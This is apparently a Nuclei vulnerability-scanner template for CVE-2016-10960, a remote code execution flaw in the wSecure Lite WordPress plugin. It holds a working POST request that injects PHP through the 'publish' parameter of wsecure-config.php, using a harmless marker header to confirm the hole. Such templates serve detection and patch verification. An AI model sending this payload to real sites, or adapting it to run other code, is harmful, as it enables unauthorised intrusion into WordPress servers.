id: CVE-2016-10960 info: name: wSecure Lite < 2.4 - Remote Code Execution (RCE) author: daffainfo severity: high description: The wsecure plugin before 2.4 for WordPress has remote code execution via shell metacharacters in the wsecure-config.php publish parameter. reference: - https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/ - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960 tags: cve,cve2016,wordpress,wp-plugin,rce classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.80 cve-id: CVE-2016-10960 cwe-id: CWE-20 requests: - method: POST path: - "{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php" body: 'wsecure_action=update&publish=";} header("Nuclei: CVE-2016-10960"); class WSecureConfig2 {var $test="' matchers-condition: and matchers: - type: word words: - "Nuclei: CVE-2016-10960" condition: and part: header - type: status status: - 200